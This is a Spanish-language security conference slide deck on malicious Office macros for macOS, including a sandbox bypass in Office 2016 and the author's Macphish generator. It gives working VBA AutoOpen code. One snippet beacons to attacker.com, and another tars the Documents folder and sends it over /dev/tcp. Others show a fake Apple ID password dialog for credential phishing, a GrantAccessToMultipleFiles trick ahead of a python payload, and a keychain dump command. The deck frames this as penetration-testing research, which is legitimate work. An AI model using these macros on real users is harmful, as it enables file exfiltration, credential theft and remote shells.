Este documento describe nuevos vectores de ataque que permiten ejecutar código malicioso en Mac mediante macros de Office, a pesar de las protecciones del sandbox de Office 2016. Explica cómo abusar de funciones como GrantAccessToMultipleFiles() y osascript para solicitar permisos de acceso a archivos o engañar a usuarios a revelar credenciales. También presenta Macphish, una herramienta que genera macros maliciosas para pruebas de ingeniería social.
Malicious OSX Macros Return - New Attack Vectors for Office 2016
1.
2. Old fox, new tricks –
Malicious OSX/MacOS macros
are back
Paulino Calderon <@calderpwn>
calderon@websec.mx - http://calderonpale.com - http://websec.mx
3. $whoami
• Pruebas de Penetración, Análisis de Vulnerabilidades, Revisión de
Código Fuente y Pruebas de Ingeniería Social en Websec
(http://websec.mx/).
• Autor de libros con PacktPub (https://www.packtpub.com) y
cursos en línea con Pluralsight (https://www.pluralsight.com).
• Me gusta desarrollar software libre, experimentar con tecnologías
nuevas y buscar vulnerabilidades en software.
• Chapter leader de OWASP Riviera Maya
5. ¿De qué vamos a hablar hoy?
• Ataques con macros maliciosos para Mac
(OSX/MacOS) ”in the wild”.
• Vectores de ataques en Office 2011.
• Nuevos vectores de ataque contra Office 2016 que
funcionan a pesar de las protecciones del sandbox.
• Macphish – Nueva herramienta para generar macros
para Mac para pruebas de ingeniería social.
6.
7. U.S. Allies and Rivals Digest Trump's
Victory – Carnegie Endowment for
International Peace.docm
• Descubierto en Febrero 2017.
• Al ejecutarse el macro malicioso:
• Verificaba que Little Snitch no estuviera ejecutándose.
• Descargaba Stager de EmPyre.
• Atacantes tenían acceso a todos los módulos de EmPyre.
• Patrick Wardle publicó un análisis en su sitio web. ->
https://objective-see.com/blog/blog_0x17.html
• Interesante pero este ataque no funciona si el usuario usa Office
2016.
8.
9. Un poco de historia…
• Office 2008 for Mac mitigaba los macros maliciosos totalmente… al
no soportar VBA.
• En Office 2011 for Mac vuelven a soportar VBA macros.
• Debido a los serios problemas de seguridad, Office 2016 for Mac
ahora se ejecuta en un App Sandbox.
• Aunque los usuarios ejecuten el macro, ¡ya no podemos acceder a
archivos de usuario/sistema! … ¿O sí?
13. Macros en OSX/MacOS
• Deben guardarse en un archivo
.docm.
• Requieren interacción del usuario.
• No se puede configurar Office para
que automáticamente no ejecute
macros:
• O ejecuta automáticamente todos los
macros.
• O te pregunta cada vez que abres un
macro.
14. Macros multiplataforma
•Condicionales en Office nos permiten crear
macros multiplataforma y detectar la versión
de Office.
•”If Mac” disponible desde Office 2011.
•MAC_OFFICE_VERSION desde Office 2016.
16. Ejecución de código malicioso con
System()
• En OSX/MacOS es posible ejecutar código malicioso
utilizando la función System() de libc.dylib.
17.
18. Problemas utilizando System()
• Está técnica presenta ciertas desventajas:
• Requiere soportar ambas versiones (32/64 bits).
• No funciona en todos los sistemas.
19. Abusando Macscript
• La función de VBA Macscript() fue diseñada para ejecutar scripts
Applescript en documentos de Mac.
• Deprecada pero aún funciona en Office 2016.
• Office 2016 requiere que los scripts sean colocados en una carpeta
específica. Esto principalmente para evitar que macros descarguen
scripts adicionales y los ejecuten.
• Sin embargo, es posible abusar Macscript para ejecutar binarios del
sistema.
• Ojo: No todos los binarios son permitidos.
20. Ejecutando binarios con Macscript
Sub AutoOpen()
MacScript ("do shell script ""<binary>"" ")
End Sub
21. No todos los binarios son iguales
• Office 2016 no permite la ejecución de cualquier binario. Sin
embargo, podemos invocar:
• Utilidades: curl, tar, xxd, ping, nslookup y osascript.
• Interpretes de programación: Python, Ruby, Perl.
• Si el binario no está permitido, el sistema regresa este
error:
22. Abusando utilidades de sistema
Phone Home
Utilidades clásicas como ping o curl pueden ser utilizadas
como beacons de notificación.
Sub AutoOpen()
MacScript ("do shell script ""ping -c 1 attacker.com"" ")
End Sub
23. Abusando utilidades de sistema
Exfiltrando datos de usuario
Además tenemos acceso a sockets directamente:
/dev/tcp/atacante.com/443
Entonces también podemos comprimir la carpeta de
Documentos de usuario y enviarnosla:
Sub AutoOpen()
MacScript ("do shell script ""tar zcf - ~/Documents | xxd -p
>/dev/tcp/attacker.com/443"" ")
End Sub
24. Abusando osascript
• Osascript es una utilidad disponible en todas las Macs que
sirve para ejecutar scripts en Applescript.
• A pesar de que eventos de sistema están bloqueados,
tenemos acceso a funcionalidad para crear diálogos,
acceder al portapapeles y obtener información del
sistema.
25. Phishing de credenciales con
osascript
Podemos utilizar diálogos para engañar a usuarios a que
introduzcan sus credenciales y las enviamos utilizando
alguna de las técnicas descritas anteriormente.
26. Phishing de credenciales con
Macscript
MacScript("do shell script ""/usr/bin/osascript -e
'display dialog ""Microsoft Word requiere de tu
contraseña de tu Apple ID para descifrar el archivo"" &
return & return default answer """" with icon file
""Applications:Utilities:Keychain
Access.app:Contents:Resources:AppIcon.icns"" with
hidden answer with title ""Microsoft Word""'""")
28. Phishing de credenciales con
osascript
• Funciona en Office 2011/2016.
• Localmente también puede ser ejecutado:
http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
• Ahora también implementado en otras herramientas:
• Bash Bunny
https://github.com/hak5/bashbunny-
payloads/tree/master/payloads/library/phishing/MacPhish
• EmPyre
https://medium.com/@malcomvetter/multi-platform-macro-
phishing-payloads-3b688e8eff68
29. Phishing de credenciales con
osascript
• Se puede personalizar los diálogos con íconos de
aplicaciones en el sistema.
• Applications:Utilities:Keychain
Access.app:Contents:Resources:AppIcon.icns
30. Abusando de los interpretes de
lenguajes de programación
Podemos ejecutar código utilizando interpretes de
lenguajes de programación (Python/Ruby/Perl):
Sub AutoOpen()
MacScript ("do shell script ""python -c <payload>"" ")
End Sub
34. Macros para Office 2016
• El sandbox de Office 2016 bloquea el acceso a
cualquier recurso no definido en las políticas de
seguridad.
• Aunque los usuarios habiliten la ejecución de macros,
la mayoría de malware no va a funcionar en Office
2016.
• No se conocían vectores de ataque que funcionaran
contra Office 2016.
35. El sandbox de Office 2016
¿Qué podemos hacer si nos enfrentamos a usuarios con Office 2016?
36. Abusando de GrantAccessToMultipleFiles
• Office 2016 introdujo un par de funciones nuevas entre ellas
GrantAccessToMultipleFiles().
• GrantAccessToMultipleFiles recibe un arreglo de archivos en el
sistema y solicita permisos de acceso.
• ¡La documentación no dice nada de que carpetas también son
soportadas! ¿Para qué solicitar individualmente acceso a archivos si le
podemos pedir acceso a toda la carpeta?
• One shot: Solo tenemos una oportunidad porque la selección del
usuario es guardada para siempre.
• Esto tiene muchas implicaciones de las cuales hablaremos más
adelante.
38. Abusando de GrantAccessToMultipleFiles
Sub AutoOpen()
GrantAccessToMultipleFiles(”/Users/<usuario>/Documents”)
MacScript ("do shell script ""python -c <payload>"" ")
End Sub
40. Abusando GrantAccessToMultipleFiles
Permisos globales
Debido a que el dialogo se presenta una sola vez y los
permisos son asignados para siempre:
• Si el usuario otorga los permisos, cualquier macro que
se ejecute en el sistema tendrá acceso a esos archivos.
Si los usuarios ya habían permitido a un macro
legitimo acceder a estos archivos, nuestro macro
malicioso también tendría acceso a esos archivos.
42. Abusando GrantAccessToMultipleFiles
Denegación de Servicio Permanente (DoS)
• Si el usuario no otorga los permisos, macros
legítimos no podrán acceder a esos archivos
posteriormente.
• No existe una interfaz para administrar estos
permisos. La respuesta de la primera petición se usa
para siempre.
• Posible Denegación de Servicio permanente.
43. Preparando los payloads maliciosos
• Payload script en Applescript debe ser escapado para ejecutarse
inline a través de osascript. Debemos considerar VBA escaping
también.
• GrantAccessToMultipleFiles requiere saber la ruta completa al
directorio del usuario objetivo. (Cambia de objetivo a objetivo)
• La ruta también la podemos obtener abusando de osascript
44. Macphish – Generador de macros maliciosos
para pruebas de ingeniería social
https://github.com/cldrn/macphish
45. Macphish
• Genera scripts en Applescript para pruebas de
ingeniería social.
• Plantillas de macros multiplataforma.
• Nombres de funciones aleatorios.
• Payloads de meterpreter y Empyre (*).
• Configuración automática de entorno de usuario.
https://github.com/cldrn/macphish
46. Macphish - Beacon
• Payload no malicioso que simplemente envía señal a
casa sobre su ejecución. (”Phone home”)
• Útil para estadísticas sobre ejecución de macros.
• Funciona en Office 2011 y Office 2016.
https://github.com/cldrn/macphish
48. Macphish - Creds
• Payload para intentar obtener credenciales locales de
usuarios.
• Utiliza funcionalidad de diálogos de osascript para
realizar el ataque de phishing.
• Funciona en Office 2011 y Office 2016.
https://github.com/cldrn/macphish
50. Macphish - Meterpreter
• Payload para obtener shell de meterpreter en
víctimas.
• Utiliza payloads en python.
• Funciona en Office 2011 sin restricciones.
• Office 2016 quedamos dentro del sandbox ->
https://github.com/cldrn/macphish
52. Macphish – Meterpreter c/
GrantAccessToMultipleFiles()
• Payload para solicitar permisos a los Documentos de
usuarios antes de ejecutar una shell de meterpreter.
• En Office 2016 saltamos el sandbox si:
• La víctima autoriza (o autorizó a otro archivo) el acceso a
los documentos.
• El documento se encuentra dentro de la ruta que
solicita. (*)
https://github.com/cldrn/macphish
55. Ideas adicionales
• Automatizar la persistencia.
• Elevación de privilegios a través de vulnerabilidades
del sistema.
• Dumpeo de contraseñas a través del keychain.
• MacScript("do shell script ""security dump-keychain -d login.keychain"" ")
56. Ligas
• Documentación de macphish
https://github.com/cldrn/macphish/wiki
• Websec:
http://websec.mx/blog/ver/mac-macros-y-macphish
• App Sandbox:
https://developer.apple.com/library/content/documentation/Security/Conceptual/AppSandbox
DesignGuide/AboutAppSandbox/AboutAppSandbox.html
• VBA improvements in Office 2016:
https://dev.office.com/blogs/VBA-improvements-in-Office-2016
• Credential phishing in Empyre:
https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-
3b688e8eff68